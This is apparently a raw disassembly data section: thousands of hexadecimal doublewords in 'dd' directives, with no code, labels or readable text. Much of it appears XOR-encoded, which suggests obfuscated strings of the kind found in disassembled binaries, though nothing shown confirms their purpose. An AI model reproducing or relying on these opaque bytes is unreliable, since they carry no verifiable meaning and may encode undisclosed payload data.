		dd 6969693Dh, 707F7C30h, 7F7C3375h, 7B6B6F70h, 707F7D33h
		dd 307F7A7Fh, 693D7F7Dh, 6E306969h, 77647071h, 737F7D6Dh
		dd 717D306Dh, 69693D73h, 737C3069h, 717D3071h, 7F6E3D73h
		dd 727F6E67h, 73717D30h, 7F7C7B3Dh, 717D3067h, 69693D73h
		dd 7F7C3069h, 78717570h, 6B7A7F73h, 7D307F6Ch, 693D7371h
		dd 7D306969h, 307D7C77h, 3D73717Dh, 30696969h, 307C6A68h
		dd 693D6B6Ch, 7D306969h, 707F7C69h, 717D3075h, 71793D73h
		dd 716E7A72h, 7D307272h, 693D7371h, 6E306969h, 77647071h
		dd 737F7D6Dh, 717D306Dh, 69693D73h, 73733069h, 75707F7Ch
		dd 3D6B6C30h, 30696969h, 7F77706Bh, 6B6C6A6Dh, 6B6C3073h
		dd 7271793Dh, 72716E7Ah, 717D3072h, 69693D73h, 716E3069h
		dd 6D776470h, 6D737F7Dh, 73717D30h, 6969693Dh, 6C716930h
		dd 7F7C7A72h, 71307570h, 693D796Ch, 7D306969h, 777A707Fh
		dd 7B6A7F7Ah, 776C7B68h, 6C7B7778h, 73717D30h, 6969693Dh
		dd 70716E30h, 7D6D7764h, 306D737Fh, 3D73717Dh, 30696969h
		dd 75707F7Ch, 70777871h, 307F777Ah, 3D73717Dh, 30696969h
		dd 7F7C7D77h, 6C307570h, 687F3D6Bh, 7D7B767Dh, 6B6C3075h
		dd 6969693Dh, 707B6830h, 6D6C717Ah, 7B737F70h, 3D6D6930h
		dd 30696969h, 307C7375h, 693D6B6Ch, 70306969h, 7F736A7Bh
		dd 6A6D7779h, 7D306C7Bh, 753D7371h, 7F75687Fh, 707B7D64h
		dd 306C7B6Ah, 3D73717Dh, 30696969h, 7A707B68h, 706D6C71h
		dd 307B737Fh, 733D6D69h, 72707167h, 7F7B7077h, 6B717D7Dh
		dd 2C6D6A70h, 7C7C7F30h, 7F70677Bh, 7071776Ah, 7D30727Fh
		dd 756B3071h, 7270713Dh, 337B7077h, 776D6B7Ch, 6D6D7B70h
		dd 71727230h, 6A6D7A67h, 7D307C6Dh, 756B3071h, 6969693Dh
		dd 72727F30h, 7C7F767Fh, 7F7C7A7Fh, 7D307570h, 693D7371h
		dd 6C306969h, 7D307D7Ch, 693D7371h, 6E306969h, 77647071h
		dd 737F7D6Dh, 717D306Dh, 69693D73h, 76302F69h, 307D7C6Dh
		dd 753D7F7Dh, 7B6C7C79h, 7D667F72h, 307C6B72h, 673D6B6Ch
		dd 717C737Fh, 64777C30h, 7A77753Dh, 7C336D71h, 3075707Fh
		dd 693D6B6Ch, 72306969h, 777A7D7Ch, 6A7D7B6Ch, 6B7F7230h
		dd 6A707B6Ch, 7C707F77h, 3075707Fh, 7C3D7F7Dh, 727D6C7Fh
		dd 306D677Fh, 3D73717Dh, 7F6A716Ah, 78677272h, 7C7B7B6Ch
		dd 7775707Fh, 7D307970h, 693D7371h, 70306969h, 7D307D7Ch
		dd 2D2B3D7Fh, 75707F7Ch, 73717D30h, 6969693Dh, 707B6830h
		dd 6D6C717Ah, 7B737F70h, 3D706830h, 30696969h, 337C2C7Ch
		dd 6D6B6C6Ah, 717D306Ah, 69693D73h, 7B683069h, 6C717A70h
		dd 737F706Dh, 6D69307Bh, 7B6E713Dh, 707F7C70h, 717D3075h
		dd 7F6A3D73h, 7B70336Ah, 7F7C6A78h, 6C307570h, 7B6D3D6Bh
		dd 7C7F727Dh, 3D6B6C30h, 6B7D7B6Dh, 676A776Ch, 307C7F72h
		dd 783D6B6Ch, 7F766A7Bh, 7C307A6Ch, 793D6477h, 6670716Ch
		dd 707F726Eh, 306D6A7Bh, 683D6B6Ch, 717A707Bh, 7F706D6Ch
		dd 68307B73h, 9D9C3D70h, 9C5C009Ch, 82EF9C9Ah, 828C828Ah
		dd 9C9A9C9Fh, 2E262E43h, 9C372630h, 62119C9Ah, 70726365h
		dd 9C9A9C65h, 313C305Dh, 9C3E3231h, 0EF8E9C98h,	9CE7E1FAh
		dd 0EF829C9Ah, 0F2E1EFE7h, 9C999CFBh, 3E2D2C5Fh, 989C3B31h
		dd 3C284E9Ch, 9A9C2B2Bh, 6364179Ch, 6E677465h, 669C949Ch
		dd 14161510h, 12080Fh, 0C89C9B9Ch, 0B8BDA7BCh, 9CBAADB8h
		dd 13619C98h, 9C050F00h, 9EFD9C96h, 9199898Fh, 9199D391h
		dd 9C969C91h, 0ACAABBD8h, 0F6B4B4BCh, 9CB4B4BCh, 56779C9Dh
		dd 929C9D9Ch, 9C989CB8h, 72727672h, 9C979C72h, 1D0A3B78h
		dd 3E1D0C19h, 390C1617h, 0F09C959Ch, 0C3999497h, 9C94DEC2h
		dd 9C959C9Ch, 0E0EDEE89h, 0EDA7BBBAh, 0A69CE5E5h, 9C9CB3B3h
		dd 73CC5EEh, 8D536A34h,	3C9CDE38h, 0A5139655h, 62DD9A7Ch
		dd 8D4CA506h, 3C9C1038h, 0A5139655h, 0A83B893Ch, 8D4CF91Bh
		dd 0BC9CD60Eh, 0D1305B33h, 0ACCC6EC7h, 8D530429h, 369C1E27h
		dd 9752219Ch, 2D0A2E18h, 8C862628h, 369C002Ah, 9B81A89Ch
		dd 9C9E989Ch, 9C9C9C9Ch, 9C9C9C5Ch, 0DA9C9C9Ch,	0AFB0D8B9h
		dd 8D4CBA57h, 5C9C1F28h, 859D45D3h, 0ACCC6E83h,	8D530429h
		dd 369C1E27h, 9752219Ch, 0ACCC6D63h, 8D530429h,	369C1E27h
		dd 9752219Ch, 0ACCC6D6Bh, 8D530429h, 369C1E27h,	9752219Ch
		dd 0ACCC6EDCh, 8D530429h, 369C1E27h, 9752219Ch,	0AFB0D8BBh
		dd 8D4CBA57h, 5C9C1F28h, 859D45D3h, 1957F59Ch, 8D53D109h
		dd 1C9C900Ah, 1972685Bh, 4F908AFDh, 8D4C5133h, 5C9CA216h
		dd 0F27E55D3h, 53h dup(9C9C9C9Ch), 9C8D3CECh, 2	dup(9C9C9C9Ch)
		dd 9C8D3D18h, 9C8D3C30h, 9C8D3C18h, 2 dup(9C9C9C9Ch), 9C8D3D3Ch
		dd 9C8D3C5Ch, 12h dup(9C9C9C9Ch), 9C8D3C74h, 9C8D3C64h
		dd 9C8D3D88h, 2	dup(9C9C9C9Ch),	9C8D3DBCh, 9C8D3DB0h, 9C8D3DDCh
		dd 9C8D3DD0h, 9C8D3DC4h, 9C8D3DF8h, 9C8D3DF0h, 9C8D3DE4h
		dd 2 dup(9C9C9C9Ch), 9C8D3C74h,	9C8D3C64h, 9C8D3D88h, 2	dup(9C9C9C9Ch)
		dd 9C8D3DBCh, 9C8D3DB0h, 9C8D3DDCh, 9C8D3DD0h, 9C8D3DC4h
		dd 9C8D3DF8h, 9C8D3DF0h, 9C8D3DE4h, 2 dup(9C9C9C9Ch), 0E4D99C07h
		dd 0EECCE8F5h, 0EFF9FFF3h, 9C9C9CEFh, 0F9DB9DB8h, 0EAF2D9E8h
		dd 0F2F3EEF5h, 0E8F2F9F1h, 0F5EEE8CFh, 0DDEFFBF2h, 9C9C9C9Ch
		dd 0E8CE9EE4h, 0EBF2C9F0h, 9CF8F2F5h, 0FAC39C1Ch, 0F9ECF3F8h
		dd 9C9C9CF2h, 0F3C39DD3h, 0C3F2F9ECh, 0F4FAEFF3h, 0F0F8F2FDh
		dd 9C9C9CF9h, 0FFFA9E91h, 0F9EFF3F0h, 9C9C9C9Ch, 0FFC39CA5h
		dd 0E8F5E4F9h, 9C9C9C9Ch, 0FDF19ED2h, 0FFF3F0F0h, 9C9C9C9Ch
		dd 0FDEE9EFCh, 9CF9EFF5h, 0F9EF9EFBh, 0FAE9FEE8h, 9C9C9C9Ch
		dd 0E8EF9EE9h, 0E5ECFFEEh, 9C9C9C9Ch, 0D2CED9D7h, 0AEAFD0D9h
		dd 0F0F0F8B2h, 9C9C9C9Ch, 3 dup(8C8D3C9Ch), 0D8C8CEDFh
		dd 0D8B2D0D0h, 9C9CD0D0h, 8 dup(8C8D3C88h), 0Eh	dup(9C9C9C9Ch)
		dd 9C9C9CBCh, 9C9C9C9Ch, 9C9C9CBCh, 9C9C8C9Ch, 9C9C709Ch
		dd 9C9C6C9Ch, 9C9DB09Ch, 78h dup(9C9C9C9Ch), 9C9C8C9Ch
		dd 9C9C9EA0h, 0AC10ACADh, 0AC61AC6Fh, 0AD8FAD99h, 0ADBDAD85h
		dd 0AD2AADBBh, 0AD60AD73h, 0AE92AE9Dh, 0AEBFAE8Fh, 0AEA2AEB5h
		dd 0AFACAE28h, 0AFCDAFABh, 0AFFBAFC4h, 0AFE5AFF3h, 0AF11AF1Bh
		dd 0AF00AF0Bh, 0AF34AF3Dh, 0AF2BAF2Dh, 0AF4EAF22h, 0AF79AF43h
		dd 0A899AF6Dh, 0A8DEA8A9h, 0A8C3A8D5h, 0A81EA8E9h, 0A834A808h
		dd 0A822A832h, 0A986A994h, 0A9DEA9A5h, 0A9C3A9CFh, 0A9EDA9F0h
		dd 0A918A9E2h, 0A90DA917h, 0A931A90Ah, 0A95CA924h, 0A97DA944h
		dd 0AA8EA977h, 0AAABAAB1h, 0AACCAAD6h, 0AAFFAACAh, 0AAEEAAF0h
		dd 0AAE3AAE5h, 0AA0FAA11h, 0AA3AAA05h, 0AA29AA33h, 0AA58AA20h
		dd 0AA44AA4Dh, 0AA77AA42h
		dd 0AA64AA6Eh, 0AB93AB9Eh, 0AB87AB89h, 0ABADABB4h, 0ABA3ABA4h
		dd 0ABCBABD6h, 0ABF1ABC2h, 0ABE5ABEFh, 0AB17ABE3h, 0AB0BAB0Eh
		dd 0AB36AB03h, 0AB21AB2Dh, 0AB55AB5Fh, 0AB46AB48h, 0AB76AB7Fh
		dd 0AB6AAB6Ch, 0A496AB61h, 0A485A48Dh, 0A4B1A483h, 0A4A5A4AFh
		dd 0A4D0A4D9h, 0A4C5A4CFh, 0A4F0A4FAh, 0A4E5A4EEh, 0A411A41Ah
		dd 0A43DA408h, 0A427A42Dh, 0A453A45Eh, 0A447A448h, 0A471A47Eh
		dd 0A59DA468h, 0A597A59Ah, 0A582A584h, 0A5AAA5BFh, 0A5F2A5DEh
		dd 0A506A5E8h, 0A54FA536h, 0A6ABA681h, 0A6F2A6A3h, 0A60CA6E3h
		dd 0A624A62Eh, 0A646A655h, 0A66DA67Ch, 0A791A79Eh, 0A7BDA786h
		dd 0A7D7A7DDh, 0A7FFA7CAh, 0A7E8A7F4h, 0A715A71Eh, 0A702A705h
		dd 0A720A733h, 0A74DA756h, 0A77AA77Dh, 0A098A76Bh, 0A081A08Dh
		dd 0A0A5A0AEh, 0A0C6A0D6h, 0A0F0A0FFh, 0A019A0EFh, 0A03CA017h
		dd 0A032A034h, 0A022A028h, 0A075A058h, 0A063A065h, 0A1ABA19Ah
		dd 0A1D6A1A2h, 0A1C2A1CBh, 0A1F2A1F4h, 0A1E3A1E5h, 0A107A108h
		dd 0A132A134h, 0A15CA126h, 0A153A155h, 0A17CA145h, 0A163A165h
		dd 0A28FA294h, 0A2BFA285h, 0A2ABA2B1h, 0A2CCA2DFh, 0A2F2A2FEh
		dd 0A215A2E1h, 0A202A205h, 0A275A238h, 0A26BA26Dh, 0A39BA261h
		dd 0A3B6A3BFh, 0A3D5A3DEh, 0A3C0A3CAh, 0A3F7A3FDh, 0A33AA312h
		dd 0A324A331h, 0A356A35Fh, 0A347A34Ch, 0A36DA37Dh, 0A360A36Bh
		dd 9C9CBC9Ch, 9C9C9EB8h, 0AC8FAC9Ah, 0AC81AC84h, 0ACB1ACBAh
		dd 0ACA3ACA6h, 0AC1AACEAh, 0AC30AC05h, 0AC4DAC26h, 0AD9CAC44h
		dd 0AD81AD9Ah, 0ADCCADB4h, 0ADE8ADF6h, 0AD3DAD07h, 0AD41AD28h
		dd 0AD71AD7Bh, 0AE99AD61h, 0AE89AE93h, 0AECFAEB1h, 0AEFAAEC6h
		dd 0AEE1AEECh, 0AE2AAE0Dh, 0AE52AE5Ch, 0AE77AE49h, 0AF85AF8Dh
		dd 0AFA9AFBBh, 0AFD1AFD8h, 0AFEBAFECh, 0AF11AF1Fh, 0AF38AF04h
		dd 0AF5EAF2Dh, 0AF53AF56h, 0AF6CAF49h, 0A8BDAF66h, 0A8ADA8BBh
		dd 0A8DFA8A6h, 0A8FDA8CDh, 0A813A8FBh, 0A803A809h, 0A82FA834h
		dd 0A84DA85Dh, 0A863A846h, 0A98DA999h, 0A9B8A981h, 0A9DEA9A5h
		dd 0A9F3A9F9h, 0A91AA9E5h, 0A901A90Ch, 0A92AA932h, 0A946A922h
		dd 0AA9AAA9Ch, 0AA84AA8Eh, 0AAB7AAB9h, 0AAD4AAA2h, 0AAEBAAF1h
		dd 0AA10AA1Dh, 0AA3DAA07h, 0AA26AA2Dh, 0AA7BAA41h, 0AB9EAA6Fh
		dd 0AB86AB94h, 0ABD5ABDCh, 0ABFCABCEh, 0ABE9ABF6h, 0AB0DAB17h
		dd 0AB2DAB3Dh, 0AB7DAB5Dh, 0AB6DAB74h, 0A49DAB64h, 0A4BFA494h
		dd 0A4DBA4B6h, 0A4C0A4CBh, 0A4EDA4F0h, 0A41AA41Dh, 0A407A40Ah
		dd 0A42CA437h, 0A459A45Ch, 0A446A449h, 0A473A476h, 0A598A463h
		dd 0A585A588h, 0A5B2A5B5h, 0A5E4A5DDh, 0A512A5E3h, 0A53BA503h
		dd 0A55DA52Eh, 0A54EA550h, 0A566A574h, 0A682A69Ch, 0A6ACA6B7h
		dd 0A6E4A6DAh, 0A63AA63Ch, 0A620A62Ah, 0A64EA650h, 0A795A668h
		dd 0A7EDA78Fh, 0A712A71Bh, 0A729A73Ah, 0A747A757h, 0A765A776h
		dd 0A08DA090h, 0A0D4A08Bh, 0A0F8A0C1h, 0A00DA01Eh, 0A028A006h
		dd 0A05AA021h, 0A06FA053h, 0A19EA065h, 0A18AA195h, 0A1B9A180h
		dd 0A1A6A1A8h, 0A1D3A1D4h, 0A1FBA1CAh, 0A1E0A1EFh, 0A115A11Fh
		dd 0A107A109h, 0A121A12Fh, 0A152A154h, 0A17EA147h, 0A29FA170h
		dd 0A289A290h, 0A2B7A282h, 0A2D9A2A8h, 0A2C0A2CDh, 0A2E6A2F2h
		dd 0A217A21Ch, 0A23DA208h, 0A224A237h, 0A252A223h, 0A27DA24Bh
		dd 0A26AA277h, 0A392A39Dh, 0A3BCA386h, 0A3A7A3B1h, 0A3EDA3C1h
		dd 0A316A318h, 0A375A37Dh, 9C9CAC9Ch, 9C9C9E9Ch, 0AC1AACD6h
		dd 0AC5CAC3Bh, 0AC63AC44h, 0ADB2AD87h, 0ADA1ADAAh, 0ADF1ADC9h
		dd 0ADE3ADE9h, 0AD08AD11h, 0AD7DAD2Ah, 0AE98AD74h, 0AE84AE96h
		dd 0AEB2AE83h, 0AEA0AEA8h, 0AED2AED4h, 0AEE2AEE9h, 0AE29AE0Fh
		dd 0AE4BAE27h, 0AE6AAE6Dh, 0AF91AF99h, 0AFB3AF8Fh, 0AFD1AFA2h
		dd 0AFFEAFC1h, 0AF0DAFEDh, 0AF30AF04h, 0AF4DAF2Fh, 0AF6DAF41h
		dd 0A899AF6Ah, 0A8D4A8AEh, 0A8C0A8D1h, 0A8E2A8EEh, 0A804A80Eh
		dd 0A845A826h, 0A98BA87Ah, 0A9D6A9A1h, 0A9FCA9C4h, 0A9E4A9F6h
		dd 0A909A913h, 0A952A928h, 0AA9EA960h, 0AA83AA8Eh, 0AAF7AAAAh
		dd 0AA17AAE7h, 0AA37AA0Eh, 0AA26AA2Dh, 0AA52AA54h, 0AA43AA44h
		dd 0AA6AAA7Ah, 0AB9AAA63h, 0AB82AB84h, 0ABB2ABB4h, 0ABF6ABA8h
		dd 0AB0DABE1h, 0AB3BAB3Dh, 0AB21AB2Bh, 0AB47AB48h, 0A48EAB72h
		dd 0A4A4A4B6h, 0A4CAA4CCh, 0A409A418h, 0A430A439h, 0A45DA426h
		dd 0A47FA44Eh, 0A5B5A468h, 0A5A0A5B3h, 0A5C8A5D7h, 0A5F4A5C7h
		dd 0A519A5E5h, 0A50BA517h, 0A531A502h, 0A57DA546h, 0A569A572h
		dd 0A682A69Ah, 0A6AAA6BFh, 0A6DBA6A7h, 0A6F3A6FFh, 0A638A603h
		dd 0A65CA62Bh, 0A668A673h, 0A793A79Bh, 0A7ADA7B8h, 0A7F2A7F4h
		dd 0A711A7E4h, 0A73FA702h, 0A72FA735h, 0A75FA721h, 0A74EA750h
		dd 0A775A77Fh, 0A763A765h, 0A097A099h, 0A083A089h, 0A0A2A0A4h
		dd 0A0C8A0D4h, 0A0F8A0C6h, 0A017A0EDh, 0A03CA00Eh, 0A02FA035h
		dd 0A059A027h, 0A045A052h, 0A076A043h, 0A06AA06Ch, 0A19AA19Ch
		dd 0A180A191h, 0A1CEA1BAh, 0A11AA1C2h, 0A105A113h, 0A15FA136h
		dd 0A147A148h, 0A16DA174h, 0A290A29Ah, 0A2BEA280h, 0A2DDA2A6h
		dd 0A2FBA2CFh, 0A2E3A2F2h, 0A20BA214h, 0A229A23Dh, 0A24DA257h
		dd 0A268A27Fh, 0A390A266h, 0A3AEA382h, 0A3D6A3A4h, 0A3ECA3C2h
		dd 0A317A3EBh, 0A32DA303h, 0A350A324h, 0A343A34Ah, 0A368A372h
		dd 9C9CDC9Ch, 9C9C9ED0h, 0AC93AC94h, 0ACA2ACAAh, 0ACF9ACC3h
		dd 0ACE1ACF2h, 0AC37AC1Bh, 0AC59AC27h, 0AC46AC53h, 0AC61AC7Eh
		dd 0AD91AD9Bh, 0ADACADB6h, 0ADD3ADD4h, 0ADFBADC9h, 0ADE0ADF2h
		dd 0AD00AD1Fh, 0AD2AAD30h, 0AD50AD21h, 0AD67AD4Eh, 0AE90AE9Ch
		dd 0AEB9AE84h, 0AEABAEADh, 0AEF4AED0h, 0AE3BAE0Dh, 0AE2EAE31h
		dd 0AE4FAE26h, 0AE7AAE44h, 0AF81AE6Eh, 0AFB7AFBFh, 0AFD1AFADh
		dd 0AFE4AFF9h, 0AF38AF13h, 0AF53AF5Fh, 0AF7FAF49h, 0A899AF6Fh
		dd 0A880A897h, 0A8A1A8AAh, 0A8C2A8DFh, 0A8ECA8F8h, 0A81EA8EAh
		dd 0A834A810h, 0A824A832h, 0A84FA85Fh, 0A877A878h, 0A98BA861h
		dd 0A9A9A982h, 0A9C5A9A7h, 0A9F5A9C3h, 0A9E1A9EAh, 0A905A90Eh
		dd 0A937A938h, 0A958A924h, 0A94AA957h, 0A97BA940h, 0A960A96Eh
		dd 0AA84AA8Fh, 0AAAAAAB4h, 0AACAAADAh, 0AAF5AAC0h, 0AA19AAECh
		dd 0AA06AA08h, 0AA26AA3Eh, 0AA46AA5Eh, 0AA79AA43h, 0AB92AA68h
		dd 0ABDBABBAh, 0ABC2ABD0h, 0AB1AABF0h, 0AB00AB10h, 0AB31AB38h
		dd 0AB4FAB28h, 0AB74AB47h, 0A49EAB67h, 0A48FA491h, 0A4BAA4BCh
		dd 0A4A1A4A8h, 0A4D0A4DAh, 0A4C3A4C9h, 0A4E7A4EAh, 0A400A417h
		dd 0A42CA434h, 0A44CA456h, 0A478A440h, 0A464A472h, 0A582A463h
		dd 0A5DCA5B4h, 0A5C9A5D9h, 0A5EDA5F6h, 0A512A51Bh, 0A52DA536h
		dd 0A556A55Ch, 0A547A54Fh, 0A698A57Eh, 0A6BDA680h, 0A6D4A6A9h
		dd 0A6FBA6C7h, 0A614A61Eh, 0A634A611h, 0A622A62Bh, 0A67FA641h
		dd 0A79BA66Bh, 0A7B4A78Bh, 0A7A3A7B2h, 0A7C2A7CBh, 0A7E8A7F9h
		dd 0A71BA7E2h, 0A75DA735h, 0A750A75Ah, 0A76DA777h, 0A09AA76Ah
		dd 0A0BBA08Bh, 0A0D6A0B2h, 0A0FCA0CCh, 0A0EEA0F7h, 0A001A00Fh
		dd 0A025A028h, 0A041A055h, 0A06FA071h, 0A188A191h, 0A1B1A183h
		dd 0A1DCA1AFh, 0A1F5A1D0h, 0A1E0A1ECh, 0A12EA108h, 0A148A124h
		dd 0A17BA146h, 0A29EA170h, 0A2B8A294h, 0A2ABA2B6h, 0A2CEA2A0h
		dd 0A2E8A2C4h, 0A21BA2E6h, 0A23EA210h, 0A258A234h, 0A24BA256h
		dd 0A26EA240h, 0A390A264h, 0A383A38Eh, 0A3B6A3B9h, 0A3D3A3A3h
		dd 0A3F4A3C6h, 0A3EBA3F2h, 0A310A3E1h, 0A338A30Eh, 0A321A32Ah
		dd 0A37DA346h, 9C9CA374h, 9C9CCC9Ch, 9C9C9E90h,	0AC91AC94h
		dd 0ACDCACB5h, 0ACC2ACC4h
		dd 0AC11ACE4h, 0AC5CAC06h, 0AC41AC5Bh, 0AD9DAC6Dh, 0ADD9ADA3h
		dd 0ADF8ADC9h, 0AD14ADE6h, 0AD09AD11h, 0AD3AAD01h, 0AD5DAD32h
		dd 0AD4BAD5Bh, 0AD67AD75h, 0AE1DAEE4h, 0AE0DAE16h, 0AE46AE04h
		dd 0AE79AE43h, 0AF87AF8Ah, 0AFDCAFBBh, 0AF14AFDBh, 0AF01AF13h
		dd 0AF2EAF3Fh, 0AF57AF25h, 0AF40AF4Dh, 0AF6FAF76h, 0A882A88Bh
		dd 0A8A4A8B7h, 0A8D8A8A1h, 0A8C8A8D1h, 0A8FAA8FDh, 0A8E4A8F7h
		dd 0A81FA8E2h, 0A99DA86Ch, 0A988A994h, 0A9B2A9BEh, 0A9A2A9ABh
		dd 0A9D3A9DBh, 0A9EDA9C9h, 0A915A9E4h, 0A934A904h, 0A94CA95Eh
		dd 0A97CA94Ah, 0A96BA97Bh, 0AA8BAA9Eh, 0AAAEAAB4h, 0AAD9AAA5h
		dd 0AACAAAD3h, 0AAF4AAC0h, 0AAE9AAF3h, 0AA1BAA1Eh, 0AA0BAA11h
		dd 0AA2EAA3Bh, 0AA59AA23h, 0AA7EAA4Ch, 0AB95AA68h, 0ABADAB8Ah
		dd 0ABD0ABDDh, 0ABFBABC0h, 0ABE6ABF3h, 0AB12AB1Dh, 0AB2EAB06h
		dd 0AB5DAB20h, 0AB75AB42h, 0A497AB64h, 0A485A48Dh, 0A4B7A4BCh
		dd 0A4A9A4ACh, 0A4DBA4DCh, 0A4E3A4E9h, 0A416A418h, 0A406A40Fh
		dd 0A431A43Bh, 0A443A427h, 0A5C5A479h, 0A5F5A5FCh, 0A5E5A5ECh
		dd 0A505A51Ch, 0A55DA53Ch, 0A54FA552h, 0A57DA544h, 0A569A574h
		dd 0A563A566h, 0A690A699h, 0A683A685h, 0A6D0A6B8h, 0A6C1A6CDh
		dd 0A6F0A6FAh, 0A6E1A6EAh, 0A603A60Fh, 0A628A63Ah, 0A67BA645h
		dd 0A66BA670h, 0A797A662h, 0A7A1A78Dh, 0A7C7A7DEh, 0A7E6A7F5h
		dd 0A70BA715h, 0A735A700h, 0A754A724h, 0A08FA762h, 0A0ABA0BBh
		dd 0A01CA0F1h, 0A037A039h, 0A021A028h, 0A045A05Ah, 0A067A06Ch
		dd 0A188A19Eh, 0A1A9A186h, 0A1F1A1D4h, 0A13CA105h, 0A15CA12Dh
		dd 0A164A153h, 0A289A162h, 0A2AFA2B0h, 0A2FFA2C1h, 0A275A216h
		dd 0A3C6A273h, 0A3F4A3FCh, 0A3E9A3F1h, 0A315A3E3h, 0A301A313h
		dd 0A337A338h, 0A327A32Ah, 0A356A35Dh, 0A340A34Bh, 0A375A37Eh
		dd 0A367A36Dh, 9C9CFC9Ch, 9C9C9EB8h, 0AC9AAC9Ch, 0AC86AC8Fh
		dd 0ACB7ACBDh, 0ACF2ACD8h, 0ACE5ACEFh, 0AC05AC14h, 0AC20AC38h
		dd 0AC42AC4Fh, 0ADB4AC64h, 0ADDCADB1h, 0ADF9ADD9h, 0AD14ADE1h
		dd 0AD24AD0Ah, 0AD45AD5Ah, 0AD6BAD7Ch, 0AE89AE9Eh, 0AEAAAE86h
		dd 0AECDAEA0h, 0AEE0AEF3h, 0AE1AAE1Dh, 0AE0AAE13h, 0AE34AE3Fh
		dd 0AE26AE31h, 0AE59AE5Ch, 0AE7AAE45h, 0AE60AE71h, 0AF8FAF90h
		dd 0AFB6AFBEh, 0AFD2AFD9h, 0AFE2AFC5h, 0AF4BAF51h, 0A8D9A8B0h
		dd 0A824A8D3h, 0A849A822h, 0A878A842h, 0A867A86Dh, 0A983A988h
		dd 0A9ADA9B4h, 0A9CDA9D6h, 0A917A9EDh, 0A92DA90Dh, 0A972A97Bh
		dd 0AAABAAB7h, 0AACCAAA1h, 0AAE4AAF8h, 0AA00AA10h, 0AA40AA20h
		dd 0AA65AA7Fh, 0ABB7AB9Dh, 0ABCDABA8h, 0ABF7ABF9h, 0ABE1ABE4h
		dd 0AB10AB1Ah, 0AB30AB0Ah, 0AB26AB2Fh, 0AB45AB50h, 0AB7FAB42h
		dd 0AB64AB6Fh, 0A494AB63h, 0A480A489h, 0A4AFA4BBh, 0A4A3A4A5h
		dd 0A4D7A4D9h, 0A4FEA4C5h, 0A4E5A4F1h, 0A40CA418h, 0A436A43Dh
		dd 0A420A42Fh, 0A450A45Fh, 0A441A44Bh, 0A476A47Fh, 0A467A468h
		dd 0A591A59Fh, 0A582A58Bh, 0A5B7A5B8h, 0A5DFA5ADh, 0A5FCA5D5h
		dd 0A5EEA5F6h, 0A5E1A5EBh, 0A50DA517h, 0A53DA504h, 0A551A52Dh
		dd 0A547A54Ah, 0A6B8A56Ah, 0A6D6A6ACh, 0A6C2A6C4h, 0A608A61Ah
		dd 0A65CA635h, 0A648A65Ah, 0A661A67Ah, 0A7FFA792h, 0A7E9A7F7h
		dd 0A73CA719h, 0A754A72Bh, 0A774A751h, 0A08AA772h, 0A0B4A0BDh
		dd 0A0A1A0ABh, 0A0D6A0D8h, 0A0F5A0CAh, 0A07FA041h, 0A06BA073h
		dd 0A18CA199h, 0A1B9A18Ah, 0A1A1A1A8h, 0A1C8A1DFh, 0A1ECA1C6h
		dd 0A11FA1E5h, 0A10CA116h, 0A135A101h, 0A123A12Dh, 0A153A154h
		dd 0A177A144h, 0A162A164h, 0A292A29Bh, 0A2BDA280h, 0A2AAA2B6h
		dd 0A2D4A2DDh, 0A2C1A2CDh, 0A2F6A2FEh, 0A2E5A2ECh, 0A215A21Fh
		dd 0A206A20Eh, 0A23BA23Ch, 0A25FA225h, 0A24CA256h, 0A26CA247h
		dd 0A39EA267h, 0A381A392h, 0A3B3A3BAh, 0A3FCA3D6h, 0A318A3EBh
		dd 0A334A316h, 0A376A32Fh, 9C9CA36Bh, 9C9CEC9Ch, 9C9C9D14h
		dd 0AC8AAC98h, 0ACA1ACBEh, 0ACF5ACC9h, 0AC12ACE4h, 0AC2DAC02h
		dd 0AD92AC52h, 0ADBDAD89h, 0ADAAADBBh, 0AD12ADCFh, 0AD3CAD07h
		dd 0AD30AD39h, 0AD22AD2Bh, 0AD4CAD57h, 0AD7DAD49h, 0AD70AD7Bh
		dd 0AD61AD6Dh, 0AE94AE9Fh, 0AE85AE91h, 0AEB8AE83h, 0AEA9AEB5h
		dd 0AEDCAEA7h, 0AECDAED9h, 0AEC0AECBh, 0AEECAEFDh, 0AEE7AEEAh
		dd 0AE3CAE0Eh, 0AE5EAE35h, 0AE44AE54h, 0AE74AE7Fh, 0AFBEAE73h
		dd 0AFA4AFB1h, 0AFD4AFA2h, 0AFF8AFD3h, 0AFE3AFEEh, 0AF39AF0Ch
		dd 0AF5CAF2Dh, 0AF48AF51h, 0A804AF47h, 0A82EA802h, 0A856A85Ch
		dd 0A840A84Dh, 0A871A87Eh, 0A860A86Ah, 0A986A992h, 0A9AEA9BFh
		dd 0A9C1A9CBh, 0A91DA9F1h, 0A93FA916h, 0AA97A972h, 0AAAEAA84h
		dd 0AACAAAA4h, 0AAF3AAC1h, 0AA13AAE9h, 0AA32AA09h, 0AA73AA2Ah
		dd 0ABA6ABAFh, 0ABD1ABDBh, 0ABF4ABC1h, 0A4C8ABF2h, 0A4EFA4F1h
		dd 0A404A40Dh, 0A45DA427h, 0A47FA449h, 0A555A53Dh, 0A692A553h
		dd 0A6FCA68Ah, 0A6E8A6F2h, 0A608A61Fh, 0A635A63Fh, 0A65CA626h
		dd 0A64AA653h, 0A7B5A791h, 0A7F4A7FEh, 0A71FA7E1h, 0A0BCA779h
		dd 0A0DEA0A0h, 0A02CA03Fh, 0A05CA029h, 0A040A04Dh, 0A071A078h
		dd 0A065A06Fh, 0A1B1A195h, 0A1DEA1A0h, 0A1F3A1D5h, 0A13AA1E7h
		dd 0A166A12Bh, 0A29BA29Ch, 0A2C9A2A6h, 0A210A219h, 0A220A239h
		dd 0A272A243h, 0A387A38Ah, 0A3ADA3B4h, 0A3CEA3DAh, 0A301A3C2h
		dd 0A332A33Fh, 9C9C1C9Ch, 9C9C9E94h, 0ACACACB5h, 0ACCCACDCh
		dd 0ACEEACCAh, 0AC17ACE1h, 0AC25AC2Eh, 0AC48AC55h, 0AC60AC74h
		dd 0AD8FAD90h, 0ADA9ADB4h, 0ADC5ADDDh, 0AD02AD04h, 0AD24AD34h
		dd 0AEB4AD5Ah, 0AEEEAEC9h, 0AE48AE3Dh, 0AFFEAFD9h, 0AF11AFF0h
		dd 0AF37AF0Fh, 0AF55AF2Fh, 0AF75AF7Eh, 0A888A89Ah, 0A81EA886h
		dd 0A824A82Eh, 0A9C8A9DBh, 0A9E7A9C7h, 0A926A928h, 0AAF4AAC0h
		dd 0AAE2AAEBh, 0AA3FAA0Eh, 0AA27AA29h, 0AA41AA50h, 0AA68AA72h
		dd 0AB95AB9Fh, 0ABC4ABDFh, 0ABF3ABC2h, 0AB12ABE4h, 0AB2AAB3Fh
